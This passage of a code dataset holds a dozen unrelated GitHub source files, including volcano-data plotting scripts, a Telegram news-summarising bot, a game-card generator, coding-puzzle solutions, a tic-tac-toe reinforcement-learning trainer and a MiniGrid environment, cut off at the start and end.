a.set_ylabel(\"Probability\")\n a.set_xlabel(\"\")\n a.minorticks_off()\n a.text(.65,.7,\n f'Volcano: {combined_df_melted.loc[eruption,\"Target\"].unique()[0]}\\nEruption:{label}\\nn = {trace_df.loc[eruption,:].shape[0]}',\n fontsize = 12,\n transform = a.transAxes\n \n )\n legend_elements = [Patch(facecolor='C0', edgecolor='k',\n label='RFE Features'),\n Patch(facecolor='C1', edgecolor='k',\n label='Major element concentrations')]\n a.legend([],frameon = False)\n\nfig.legend(handles = legend_elements,bbox_to_anchor = (0.9,0.91),ncol = 2)\nmpl_defaults.label_subplots(ax,location = 'upper left')\nplt.savefig(\n \"{}\\\\vcs_variance_comparison_panel.pdf\".format(export_path),\n bbox_inches=\"tight\",\n )\n\nplt.show(block = False)\n\n########################################################################\n########################## MANUSCRIPT FIGURE 6 #########################\n########################################################################\neruptions = trace_df.index.unique().tolist()\n\nmajor_medians = []\nmajor_stds = []\n\ntrace_medians = []\ntrace_stds = []\n\ncorrect_volcano = []\ntrace_predictions = []\nmajor_predictions = []\n\nfor eruption in eruptions:\n major_medians.append(major_df.loc[eruption,major_df.loc[eruption,'Target'].unique()].median().values[0])\n major_stds.append(major_df.loc[eruption,major_df.loc[eruption,'Target'].unique()].std().values[0])\n correct_volcano.append(major_df.loc[eruption,'Target'].unique().tolist()[0])\n\n\n \n trace_medians.append(trace_df.loc[eruption,trace_df.loc[eruption,'Target'].unique()].median().values[0])\n trace_stds.append(trace_df.loc[eruption,trace_df.loc[eruption,'Target'].unique()].std().values[0])\n\n trace_preds = pd.DataFrame(\n data=trace_df.loc[eruption, \"Prediction\"].value_counts(),\n ).reset_index()\n trace_preds.columns = [\"predicted_class\", \"counts\"]\n\n trace_prediction = list(\n trace_preds[trace_preds[\"counts\"] == trace_preds[\"counts\"].max()][\"predicted_class\"]\n )[0]\n\n major_preds = pd.DataFrame(\n data=major_df.loc[eruption, \"Prediction\"].value_counts(),\n ).reset_index()\n major_preds.columns = [\"predicted_class\", \"counts\"]\n\n major_prediction = list(\n major_preds[major_preds[\"counts\"] == major_preds[\"counts\"].max()][\"predicted_class\"]\n )[0]\n major_predictions.append(major_prediction)\n trace_predictions.append(trace_prediction)\n\n \nmajor_medians = np.array(major_medians)\nmajor_stds = np.array(major_stds)\n\ntrace_medians = np.array(trace_medians)\ntrace_stds = np.array(trace_stds)\n\ndf = pd.DataFrame(\n [\n eruptions,\n correct_volcano,\n major_predictions,\n trace_predictions,\n trace_medians,\n trace_stds,\n major_medians,\n major_stds,\n ]\n).T\ndf.columns = [\n \"eruption\",\n \"volcano\",\n \"major_prediction\",\n \"trace_prediction\",\n \"trace_median\",\n \"trace_std\",\n \"major_median\",\n \"major_std\",\n]\ndf.sort_values(by=\"volcano\", inplace=True)\ndf.set_index(\"volcano\", inplace=True)\ndf[\"x_maj\"] = 0\ndf[\"x_trace\"] = 0\n\nspacing = 10\nfor i, volcano in zip(\n np.arange(0, len(volcanoes)) * spacing, df.index.unique().tolist()\n):\n\n df.loc[volcano, \"x_trace\"] = i\n df.loc[volcano, \"x_maj\"] = i + spacing / 2\n\nbar_vals = np.unique(df[\"x_trace\"].to_numpy())\nbar_vals = np.append(bar_vals, bar_vals.max() + spacing)\n\n\nfig, ax = plt.subplots(figsize=(12, 4))\nfor volcano in df.index.unique().tolist():\n\n for i in range(df.loc[volcano, :].shape[0]):\n ax.plot(\n (df.loc[volcano, \"x_maj\"], df.loc[volcano, \"x_trace\"]),\n (df.loc[volcano, \"major_median\"], df.loc[volcano, \"trace_median\"]),\n \"k-\",\n lw=0.3,\n )\n\nax.plot(\n df[\"x_trace\"],\n df[\"trace_median\"],\n marker=\"o\",\n ls=\"\",\n label=\"RFE Features\",\n ms=5,\n mew=0.5,\n)\nax.plot(\n df[\"x_maj\"],\n df[\"major_median\"],\n marker=\"^\",\n ls=\"\",\n label=\"Major elements\",\n ms=5,\n mew=0.5,\n)\n\n\nax.set_xticks(np.arange(0, len(volcanoes)) * spacing + spacing / 3)\nax.minorticks_off()\nax.set_xticklabels(df.index.unique().tolist(), rotation=90)\n\n\nfor i, j in zip(bar_vals[0::2] - 2, bar_vals[1::2] - 2):\n ax.axvspan(xmin=i, xmax=j, color=\"gray\", alpha=0.3)\n\n\nfor i in range(df[df[\"major_prediction\"] != df.index].dropna().shape[0]):\n ax.plot(\n df[df[\"major_prediction\"] != df.index].dropna()[\"x_maj\"],\n df[df[\"major_prediction\"] != df.index].dropna()[\"major_median\"],\n ms=8,\n mfc=\"none\",\n mec=\"r\",\n marker=\"s\",\n ls=\"\",\n )\n\nfor i in range(df[df[\"trace_prediction\"] != df.index].dropna().shape[0]):\n ax.plot(\n df[df[\"trace_prediction\"] != df.index].dropna()[\"x_trace\"],\n df[df[\"trace_prediction\"] != df.index].dropna()[\"trace_median\"],\n ms=8,\n mfc=\"none\",\n mec=\"r\",\n marker=\"s\",\n ls=\"\",\n\n )\n\n\nax.set_ylabel(\"Probability\")\nfig.legend(bbox_to_anchor=(0.9, 0.98), ncol=2, frameon=True)\nax.set_title(\"Target Prediction Probabilities\", loc=\"left\", fontsize=20)\n\nplt.savefig(\n \"{}\\\\vcs_variance_test_comparison_target.pdf\".format(export_path), bbox_inches=\"tight\"\n)\n\nplt.show(block = False)\n\n########################################################################\n########################## MANUSCRIPT FIGURE 8 #########################\n########################################################################\n\ndef tern_points(right, top, left):\n \"\"\"Tern_points takes 3 equal size 1D arrays or pandas series and organizes them into points to be plotted on a ternary\n with the following arrangement:(lower right,top,lower left).\n Inputs: \n x = 1D array like (lower right vertex)\n y = 1D array like (top vertex)\n z = 1D array like (lower left vertex)\n \"\"\"\n if isinstance(right, pd.Series):\n right = right.to_numpy()\n if isinstance(top, pd.Series):\n top = top.to_numpy()\n if isinstance(left, pd.Series):\n left = left.to_numpy()\n\n points = np.hstack([right[:, None], top[:, None], left[:, None]])\n\n return points\n\n\nfig, ax = plt.subplots(3, 1, figsize=(4, 12))\nscale = 1\ntax_top = ternary.TernaryAxesSubplot(ax=ax[0])\ntax_middle = ternary.TernaryAxesSubplot(ax=ax[1])\ntax_bottom = ternary.TernaryAxesSubplot(ax=ax[2])\n\nsubset_cols = [\"Veniaminof\", \"Makushin\", \"Aniakchak\"]\ncolors = mpl_defaults.create_colorblind_palette(n=2)\nfor source, tax in zip(\n [\"Aniakchak\", \"Veniaminof\", \"Makushin\"], [tax_top, tax_middle, tax_bottom]\n):\n\n major_subset = (\n major_df.reset_index()\n .set_index(\"Target\")\n .loc[source, [\"Makushin\", \"Aniakchak\", \"Veniaminof\"]]\n )\n major_subset[\"sum\"] = major_subset.sum(axis=\"columns\")\n trace_subset = (\n trace_df.reset_index()\n .set_index(\"Target\")\n .loc[source, [\"Makushin\", \"Aniakchak\", \"Veniaminof\"]]\n )\n trace_subset[\"sum\"] = trace_subset.sum(axis=\"columns\")\n\n major_points_to_plot = tern_points(\n major_subset[subset_cols[0]] / major_subset[\"sum\"],\n major_subset[subset_cols[1]] / major_subset[\"sum\"],\n major_subset[subset_cols[2]] / major_subset[\"sum\"],\n )\n trace_points_to_plot = tern_points(\n trace_subset[subset_cols[0]] / trace_subset[\"sum\"],\n trace_subset[subset_cols[1]] / trace_subset[\"sum\"],\n trace_subset[subset_cols[2]] / trace_subset[\"sum\"],\n )\n if source == 'Aniakchak':\n\n tax.scatter(major_points_to_plot, c=\"none\", ec=\"C1\", marker=\"^\", s=15, label = 'Major Elements')\n tax.scatter(trace_points_to_plot, c=\"none\", ec=\"C0\", marker=\"o\", s=15, label = 'RFE Features')\n else:\n tax.scatter(major_points_to_plot, c=\"none\", ec=\"C1\", marker=\"^\", s=15, )\n tax.scatter(trace_points_to_plot, c=\"none\", ec=\"C0\", marker=\"o\", s=15, )\n\n tax.right_corner_label(subset_cols[0], offset=0.25, rotation=-60)\n tax.top_corner_label(subset_cols[1], offset=0.25)\n tax.left_corner_label(subset_cols[2], offset=0.25, rotation=60)\n \n tax.gridlines(color=\"gray\", multiple=0.2, linestyle=\"--\", dashes=(5, 5), zorder=0)\n tax.boundary(linewidth=1.5, zorder=0)\n # Set ticks\n tax.ticks(axis=\"lbr\", multiple=0.2, tick_formats=\"%.1f\", offset=0.025, linewidth=1)\n # Remove default Matplotlib Axes\n tax.clear_matplotlib_ticks()\n tax.get_axes().axis(\"off\")\nfig.set_facecolor(\"w\")\nfig.legend(loc = 'upper right', title = 'Model Features', title_fontsize = 14, bbox_to_anchor = (1.05,.95))\nplt.savefig(\n \"{}\\\\ani_veni_mak_variance_ternary.pdf\".format(export_path), bbox_inches=\"tight\"\n)\nplt.show(block = True)\n","repo_name":"jlubbersgeo/lubbers23_gcubed","sub_path":"8_variance_analysis_plots.py","file_name":"8_variance_analysis_plots.py","file_ext":"py","file_size_in_byte":11564,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"69854461548","text":"# Copyright 2023 DEViantUa \r\n# All rights reserved.\r\n\r\nfrom .src.tools import translation, pill, modal\r\nfrom .src.generator import card\r\nfrom honkairail import starrailapi\r\nimport asyncio,re,os,datetime\r\n\r\ndef process_input(characterImgs, characterName):\r\n if characterImgs:\r\n if isinstance(characterImgs, dict):\r\n characterImgs = {key.lower(): value for key, value in characterImgs.items()}\r\n else:\r\n raise TypeError(\"The charterImg parameter must be a dictionary, where the key is the name of the character, and the parameter is an image.\\nExample: charterImg = {'Himeko': 'img.png'} or {'Himeko': 'img.png', 'Seele': 'img2.jpg', ...}\")\r\n\r\n if characterName:\r\n if isinstance(characterName, str):\r\n characterName = [name.strip().lower() for name in characterName.split(\",\")]\r\n else:\r\n raise TypeError(\"The name parameter must be a string, to pass multiple names, list them separated by commas.\\nExample: name = 'Himeko' or name = 'Himeko, Seele',..\")\r\n \r\n return characterImgs, characterName\r\n\r\n\r\ndef remove_html_tags(text):\r\n clean_text = re.sub('<.*?>', '', text)\r\n return clean_text\r\n\r\nclass HonkaiCard():\r\n def __init__(self,lang = \"en\", characterImgs = None, characterName = None, hide = False, save = False, cache = True):\r\n if not lang in translation.supportLang:\r\n self.lang = \"en\"\r\n else:\r\n self.lang = lang\r\n \r\n self.translateLang = translation.Translator(lang)\r\n \r\n try:\r\n self.characterImgs, self.characterName = process_input(characterImgs, characterName)\r\n except Exception as e:\r\n print(e.message)\r\n return\r\n\r\n self.API = starrailapi.StarRailApi(lang, v = 2)\r\n self.save = save\r\n self.hide = hide\r\n self.img = None\r\n self.cache = cache\r\n self.name = \"\"\r\n self.id = \"\"\r\n self.card = None\r\n \r\n async def __aenter__(self):\r\n return self\r\n\r\n async def __aexit__(self, *args):\r\n pass\r\n \r\n async def saveBanner(self,res, name):\r\n data = datetime.datetime.now().strftime(\"%d_%m_%Y %H_%M\")\r\n path = os.path.join(os.getcwd(), \"RailCard\", str(self.uid))\r\n os.makedirs(path, exist_ok=True)\r\n file_path = os.path.join(path, f\"{name}_{data}.png\")\r\n res.save(file_path)\r\n \r\n async def characterImg(self,name,ids):\r\n if name in self.characterImgs:\r\n self.img = await pill.get_user_image(self.characterImgs[name], cache = self.cache)\r\n else:\r\n self.img = None\r\n \r\n if ids in self.characterImgs:\r\n self.img = await pill.get_user_image(self.characterImgs[ids], cache = self.cache)\r\n \r\n async def collect_data(self):\r\n user = {\r\n \"settings\": {\r\n \"uid\": int(self.uid),\r\n \"lang\": self.lang,\r\n \"hide\": self.hide,\r\n \"save\": self.save,\r\n },\r\n \"player\": self.data.player,\r\n \"card\": self.card,\r\n \"name\": self.name,\r\n \"id\": self.id,\r\n }\r\n \r\n return modal.HSRCard(**user) \r\n \r\n async def creat(self, uid):\r\n task = []\r\n self.uid = uid \r\n self.data = await self.API.get_full_data(self.uid)\r\n\r\n for key in self.data.characters:\r\n \r\n self.name += f\"{key.name}, \"\r\n self.id += f\"{key.id}, \"\r\n \r\n if self.characterName:\r\n if not key.name.lower() in self.characterName and not str(key.id) in self.characterName:\r\n continue \r\n\r\n if self.characterImgs:\r\n await self.characterImg(key.name.lower(), str(key.id))\r\n task.append(card.Creat(key, self.translateLang,self.img,self.hide,int(uid),self.cache).start())\r\n \r\n self.card = await asyncio.gather(*task)\r\n \r\n if self.save:\r\n for keys in self.card:\r\n await self.saveBanner(keys[\"card\"], keys[\"name\"])\r\n \r\n return await self.collect_data()","repo_name":"DEViantUA/HSRCard","sub_path":"hsrcard/hsr.py","file_name":"hsr.py","file_ext":"py","file_size_in_byte":4173,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"37408964641","text":"'''\nhttps://www.hackerrank.com/challenges/hackerrank-in-a-string/submissions/code/103544190\n'''\n#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the hackerrankInString function below.\n''' try simple in discussion below'''\n\ndef hackerrankInString(s):\n # Complete this function\n p = 0\n for e in 'hackerrank':\n if e in s[p:]: # very smart to move p forward in s\n p = s.index(e,p) + 1 \n else:\n return 'NO'\n return 'YES'\n\n\n'''\nmissed two of test cases - e.g. test1 with 100 test strings - may took too long in below algo\n\n\ndef hackerrankInString(s):\n # need 2x'a' , 1x'c', 1x'e', 1x'h', 2x'k', 1x'n', 2x'r'\n # will test with find and rfind (last index) to see if =2\n\n for i in \"hackerrank\":\n if find_index(i, s) == -1 :\n return \"NO\"\n elif (i == \"a\" or i == \"k\" or i == \"r\") and find_index(i,s) < 2 :\n return \"NO\"\n return \"YES\"\n\ndef find_index(a,s):\n # a is char ; s= string\n first = s.find(a)\n last = s.rfind(a)\n result = 0\n if first < 0 or first == None : # -1 or None means not found\n result = -1\n elif first > 0 and last < 0: # only 1 char\n result = 1\n elif first > 0 and last > 0: # at least 2 char\n result = 2\n return result\n'''\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n q = int(input())\n\n for q_itr in range(q):\n s = input()\n\n result = hackerrankInString(s)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n","repo_name":"leewalter/coding","sub_path":"python/HackerRank_in_a_String.py","file_name":"HackerRank_in_a_String.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16784611060","text":"import sys\nimport torch\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport corigami.model.corigami_models as corigami_models\n\ndef load_default(model_path):\n model_name = 'ConvTransModel'\n mid_hidden = 256\n model = get_model(model_name, mid_hidden)\n load_checkpoint(model, model_path)\n return model\n\ndef get_model(model_name, mid_hidden, num_genomic_features=2):\n ModelClass = getattr(corigami_models, model_name)\n model = ModelClass(num_genomic_features, mid_hidden = mid_hidden)\n return model\n\ndef load_checkpoint(model, model_path):\n print('Loading weights')\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n model.to(device)\n\n checkpoint = torch.load(model_path, map_location=device)\n model_weights = checkpoint['state_dict']\n\n # Edit keys\n for key in list(model_weights):\n model_weights[key.replace('model.', '')] = model_weights.pop(key)\n model.load_state_dict(model_weights)\n model.eval()\n return model\n\nif __name__ == '__main__':\n main()\n","repo_name":"tanjimin/C.Origami","sub_path":"src/corigami/inference/utils/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"37"} +{"seq_id":"22513627797","text":"import datetime\n\nfrom nose.tools import eq_, with_setup\nfrom sqlalchemy import create_engine\n\nfrom bdgt.commands.transactions import CmdAssignTx\nfrom bdgt.models import Account, Transaction, Category\nfrom bdgt.storage.database import Base, Session, session_scope\nfrom bdgt.storage.gateway import save_object\n\n\ndef setup():\n global engine\n engine = create_engine('sqlite://', echo=False)\n Session.configure(bind=engine)\n Base.metadata.create_all(engine)\n\n\ndef teardown():\n engine.dispose()\n Session.remove()\n\n\ndef test_cmd_assign_tx_parse_tx_ids():\n cmd = CmdAssignTx(u'cat1', u'1,2,3')\n eq_(cmd.tx_ids, [1, 2, 3])\n\n\ndef test_cmd_assign_tx_parse_tx_ids_range():\n cmd = CmdAssignTx(u'cat1', u'10-15')\n eq_(cmd.tx_ids, [10, 11, 12, 13, 14, 15])\n\n\ndef test_cmd_assign_tx_parse_tx_ids_mixture():\n cmd = CmdAssignTx(u'cat1', u'1,3,7,10-15,9')\n eq_(cmd.tx_ids, [1, 3, 7, 9, 10, 11, 12, 13, 14, 15])\n\n\ndef test_cmd_assign_tx_parse_tx_ids_mixture_remove_duplicates():\n cmd = CmdAssignTx(u'cat1', u'1,3,3,10-15,11,1')\n eq_(cmd.tx_ids, [1, 3, 10, 11, 12, 13, 14, 15])\n\n\n@with_setup(setup, teardown)\ndef test_cmd_assign_tx_similar_category():\n account = Account(u'test', u'12345')\n save_object(account)\n save_object(Category(u'cat1'))\n save_object(Transaction(account,\n datetime.datetime.now().date(), u'desc', 1.0))\n\n CmdAssignTx(u'Cat1', '1')()\n\n with session_scope() as session:\n count = session.query(Category).count()\n eq_(count, 1)\n","repo_name":"svisser/bdgt","sub_path":"tests/test_tx_commands.py","file_name":"test_tx_commands.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4811848767","text":"from collections import defaultdict\nfrom telegram import Update\nfrom telegram.ext import Application, CommandHandler, MessageHandler, filters, ContextTypes\nfrom utils.google import get_links, get_text_content\nfrom utils.youtube import get_audio_file, extract_text_from_mp3\nfrom utils.summarize import get_summary\nfrom dotenv import load_dotenv, find_dotenv\nimport os\n\nload_dotenv(find_dotenv())\n\nTOKEN = os.getenv(\"TOKEN\")\nBOT_USERNAME = os.getenv(\"BOT_USERNAME\")\n\nasync def start_command(update: Update, context: ContextTypes.DEFAULT_TYPE):\n await update.message.reply_text(\"Welcome to FlashFeedAIBot\")\n\nasync def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE):\n await update.message.reply_text(\n \"\"\"\n I collect the latest news and summarize youtube videos for you.\n To get the latest news about a particular topic simply text me the topic.\n To summarize a youtube video, text a message in following format \"url: \".\n\"\"\"\n )\n\nasync def custom_command(update: Update, context: ContextTypes.DEFAULT_TYPE):\n await update.message.reply_text(\"I collect the latest news on topics you enter\")\n\ndef handle_response(text: str) -> str:\n if \"url:\" not in text: \n links = get_links(query=text)\n texts = get_text_content(links=links)\n summarized_texts = defaultdict(str)\n for link, text in texts.items():\n summarized_texts[link] = get_summary(text=text)\n ans = \"\"\n \n for i, (link, summarized_text) in enumerate(summarized_texts.items()):\n ans += f\"News {i+1}:\\n\"\n ans += summarized_text + \"\\n\" + \"Source link: \" + link + \"\\n\\n\"\n return ans\n else:\n url = text.split(\":\")[-1].strip()\n get_audio_file(url=url)\n text = extract_text_from_mp3(\"audio.mp3\")\n return f\"Summarized content: \\n{text}\"\n\n\n\nasync def handle_message(update: Update,\n context: ContextTypes.DEFAULT_TYPE):\n message_type: str = update.message.chat.type\n text: str = update.message.text\n print(f\"User ({update.message.chat.id}) in {message_type}: {text}\")\n\n if message_type==\"group\":\n if BOT_USERNAME in text:\n new_text: str = text.replace(BOT_USERNAME, \"\").strip()\n response: str = handle_response(new_text)\n else:\n return \n else:\n response: str = handle_response(text)\n \n print(\"Bot \", response)\n await update.message.reply_text(response)\n\nasync def error(update: Update,\n context: ContextTypes.DEFAULT_TYPE):\n print(f\"Update {update} caused error {context.error}\")\n\n\nif __name__ == \"__main__\":\n\n print(\"Starting bot...\")\n\n app = Application.builder().token(TOKEN).build()\n\n app.add_handler(CommandHandler(\"start\", start_command))\n app.add_handler(CommandHandler(\"help\", help_command))\n app.add_handler(CommandHandler(\"custom\", custom_command))\n\n app.add_handler(MessageHandler(filters.TEXT, handle_message))\n \n\n app.add_error_handler(error)\n\n print(\"Polling...\")\n app.run_polling(poll_interval=5)\n","repo_name":"SkAndMl/FlashFeedAIBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6463721182","text":"# import csv\n#\n# with open(\"season18-19.csv\", 'r') as f:\n# scores = list(csv.reader(f))\n#\n# am = [int(w[4]) for w in scores]\n# a = sum(am)\n# a_len = len(am)\n#\n# print(a/a_len)\n\n# отключим предупреждения Anaconda\nimport warnings\nwarnings.simplefilter('ignore')\n\n# будем отображать графики прямо в jupyter'e\n#%matplotlib inline\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n#графики в svg выглядят более четкими\n#%config InlineBackend.figure_format = 'svg'\n\n#увеличим дефолтный размер графиков\nfrom pylab import rcParams\nrcParams['figure.figsize'] = 8, 5\nimport pandas as pd\n\nkolumn = {\"a\" : \"Date\", \"b\" : \"HomeTeam\", \"c\" : \"AwayTeam\", \"d\" : \"FTHG\", \"e\": \"FTAG\", \"f\" : \"FTR\", \"g\" : \"HTHG\", \"h\" : \"HTAG\", \"i\" : \"HTR\",\n \"j\" : \"Referee\", \"k\" : \"HS\", \"l\":\"AS\", \"m\": \"HST\",\"n\":\"AST\", \"o\": \"HF\", \"p\" : \"AF\", \"q\":\"HC\", \"r\":\"AC\",\"s\" : \"HY\", \"t\":\"AY\",\n \"u\" : \"HR\", \"v\":\"AR\", \"w\" : \"HP\", \"x\" : \"HGP\", \"y\" : \"AP\", \"z\" : \"AGP\", \"aa\" : \"AytogolH\", \"bb\" : \"AutogolA\" }\ndata = pd.read_csv(\"season18-19.csv\")\ndata1=pd.read_csv(\"season19-20.csv\")\n# am = [int(w) for w in data[\"FTHG\"]]\n# a = sum(am)\n# a_len = len(am)\n#\n# print(a/a_len)\n# print(data.describe())\n# teams = input(\"Vvedite Home Team : \"), input(\"Vvedite Away Team : \")\n# a=data[(data[kolumn['b']] == teams[0])&(data[\"AwayTeam\"]==teams[1])][\"FTHG\"].sum()\n# b=data[data[\"HomeTeam\"] == \"Chelsea\"][\"FTHG\"].max()\n#\n#\n# print(data1['HS'].mean())\n#\n# print(data1.iloc[0:2, 0:3])\n#\n# a=pd.crosstab(data[kolumn['b']], data[kolumn['k']], margins= True)\n#\n# b = data1[data1.].corr()[\"AS\"]\n# print(b)\n\ncols = [kolumn['e'], kolumn['f'], kolumn['h'],kolumn['i']]\nsns_plot = sns.pairplot(data1[cols])\nsns_plot.savefig('pairplot.png')\nsns_1=sns.jointplot(data1.FTHG, data1.HTHG)\nsns_1.savefig(\"pairplot1\")\n","repo_name":"prowincial/statka","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39453908017","text":"from django.shortcuts import render\n\nfrom localization.models.models import City, Governorates\n\n\ndef LoadCitiesHelper(request):\n country_id = request.GET.get('country')\n print(country_id)\n governorates = Governorates.objects.filter(country_id=country_id).order_by('name')\n governorates_id = request.GET.get('governorates')\n print(governorates_id)\n cities = City.objects.filter(governorates_id=governorates_id).order_by('name')\n context = {\n 'governorates': governorates,\n 'cities': cities,\n }\n return render(request, 'city_dropdown_list_options.html', context)\n","repo_name":"Eng-Yuri89/digit_phone","sub_path":"helper/viewHelper.py","file_name":"viewHelper.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4943556393","text":"import tensorflow as tf\nfrom agents.simple_agent import SimpleAgent\nfrom agents.td_agent import TDAgent\nfrom agents.forward_agent import ForwardAgent\nfrom agents.backward_agent import BackwardAgent\nfrom agents.leaf_agent import LeafAgent\nfrom agents.random_agent import RandomAgent\nfrom env import TicTacToeEnv\nfrom model import ValueModel\n\n\ndef main():\n env = TicTacToeEnv()\n model = ValueModel(env.feature_vector_size, 100)\n\n # agent = SimpleAgent('agent_0', model, env)\n # agent = TDAgent('agent_0', model, env)\n # agent = ForwardAgent('agent_0', model, env)\n # agent = BackwardAgent('agent_0', model, env)\n agent = LeafAgent('agent_0', model, env)\n\n random_agent = RandomAgent(env)\n\n log_dir = \"./log/leaf\"\n\n summary_op = tf.summary.merge_all()\n summary_writer = tf.summary.FileWriter(log_dir)\n\n scaffold = tf.train.Scaffold(summary_op=summary_op)\n with tf.train.MonitoredTrainingSession(checkpoint_dir=log_dir,\n scaffold=scaffold) as sess:\n agent.sess = sess\n env.sess = sess\n\n while True:\n episode_count = sess.run(agent.episode_count)\n if episode_count % 1000 == 0:\n results = random_agent.test(agent)\n\n sess.run(agent.update_random_agent_test_results,\n feed_dict={random_agent_test_: result\n for random_agent_test_, result in zip(agent.random_agent_test_s, results)})\n print(episode_count, ':', results)\n\n if results[2] + results[5] == 0:\n final_summary = sess.run(summary_op)\n summary_writer.add_summary(final_summary, global_step=episode_count)\n break\n else:\n agent.train(.2)\n sess.run(agent.increment_episode_count)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"adamklec/tic_tac_tensorflow","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"37808636764","text":"# https://leetcode-cn.com/problems/wildcard-matching/\n# 2022-03-03\n\nclass Solution:\n def isMatch_dp(self, s: str, p: str) -> bool:\n s_length, p_length = len(s), len(p)\n # 状态转移是需要-1,因此需要在长度上加一才能完整的动态规划\n dp_matrix = [[False] * (s_length + 1) for _ in range(p_length + 1)]\n dp_matrix[0][0] = True\n # [0][x]为true当且仅当p的前X个字符全部是*\n for i in range(1, p_length + 1):\n if p[i - 1] == '*':\n dp_matrix[0][i] = True\n else:\n break\n\n # 处理dp,注意要从1开始\n for i in range(1, s_length + 1):\n for j in range(1, p_length + 1):\n # j是第j个字符,对应下标需要减一\n if p[j - 1] == '*':\n dp_matrix[j][i] = dp_matrix[j - 1][i] | dp_matrix[j][i - 1]\n elif p[j - 1] == '?' or s[i - 1] == p[j - 1]:\n dp_matrix[j][i] = dp_matrix[j - 1][i - 1]\n\n return dp_matrix[-1][-1]\n\n def isMatch_greedy(self, s: str, p: str) -> bool:\n # 首先解决结尾不是*的情况\n s_length, p_length = len(s), len(p)\n # 此时s_length就表示了最终需要遍历到的最右边的位置而不是指长度,需要注意。p_length类似\n while p_length > 0 and p[p_length - 1] != '*' and s_length > 0:\n if p[p_length - 1] == s[s_length - 1] or p[p_length - 1] == '?':\n s_length -= 1\n p_length -= 1\n else:\n return False\n # 如果此时已经把模式字符串走光了,那么s也必须走光\n if p_length == 0:\n return s_length == 0\n\n # 开始从左向右的匹配\n s_index, p_index, s_record, p_record = 0, 0, -1, -1\n while s_index < s_length and p_index < p_length:\n # 是*号意味着记录点可以右移\n if p[p_index] == '*':\n p_index += 1\n s_record, p_record = s_index, p_index\n # 匹配到了一般情况两个字符串都右移\n elif p[p_index] == s[s_index] or p[p_index] == '?':\n s_index += 1\n p_index += 1\n # 如果匹配失败,可以在s上移动,前提是s之前匹配到了*,也就是srecord已经不是-1\n elif s_record != -1 and s_record + 1 < s_length:\n s_record += 1\n s_index, p_index = s_record, p_record\n else:\n return False\n # 经过上面的匹配,至少有一个走完了,p结尾是*,因此s没走完无所谓。而若是p没走完,那p的结尾必须全是*\n for i in range(p_index, p_length):\n if p[i] != '*':\n return False\n return True\n","repo_name":"hubing1791/my_leetcode","sub_path":"leetcode_main/difficult/44_hard_wildcard_matching/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2690807822","text":"from os import makedirs\nfrom random import random, choice\nfrom typing import Set\n\ndef makedirs():\n res = []\n for j in range(-1, 2):\n for i in range(-1, 2):\n if i != 0 or j != 0:\n res.append( (i, j) )\n return res\n\ndirs = makedirs()\n\ndef isInbound(coord):\n return coord >= 0 and coord < 8\n\ndef isOpponent(cell, color):\n return cell != -1 and cell != color\n\ndef isEmpty(cell):\n return cell == -1\n\ndef calculateMovesFor(board, color):\n possible_moves = set()\n for ix in range(8):\n for iy in range(8):\n cell = board[ix][iy]\n if(cell == color):\n x, y = ix, iy \n for dir in dirs:\n dx, dy = dir[0], dir[1]\n tx, ty = x+dx, y+dy\n hasMoved = False\n while(isInbound(tx) and isInbound(ty) and isOpponent(board[tx][ty], color) ):\n tx, ty = tx+dx, ty+dy\n hasMoved = True\n if(isInbound(tx) and isInbound(ty) and isEmpty(board[tx][ty]) and hasMoved):\n possible_moves.add((tx, ty))\n return list(possible_moves)\n\nclass MyPlayer:\n '''Taha nahodne'''\n def __init__(self, my_color, opponent_color):\n self.color = my_color\n self.op_color = opponent_color\n self.name = \"tretidmi\"\n \n def move(self, board):\n possible_moves = calculateMovesFor(board, self.color)\n return choice(possible_moves)\n","repo_name":"sen4eg/abpruned","sub_path":"cmake-build-debug/diemasus.py","file_name":"diemasus.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33483052212","text":"from gym_minigrid.minigrid import *\nfrom ..minigrid_nav import *\n\nimport numpy as np\n\nDEBUG = False\n\nclass VICEmpty(NavGridEnv):\n \"\"\"\n Simple grid world for point navigation\n \"\"\"\n\n def __init__(self,\n size=5,\n max_steps=10,\n random_push_prob=0.2,\n alive_prob=0.95,\n use_grid_in_state=True):\n\n super().__init__(\n grid_size=size,\n max_steps=max_steps,\n use_grid_in_state=True)\n\n self.random_push_prob = random_push_prob\n self.alive_prob = alive_prob\n self.die_prob = 1 - alive_prob\n\n self.action_list = [\n self.actions.right,\n self.actions.down,\n self.actions.left,\n self.actions.up,\n self.actions.done\n 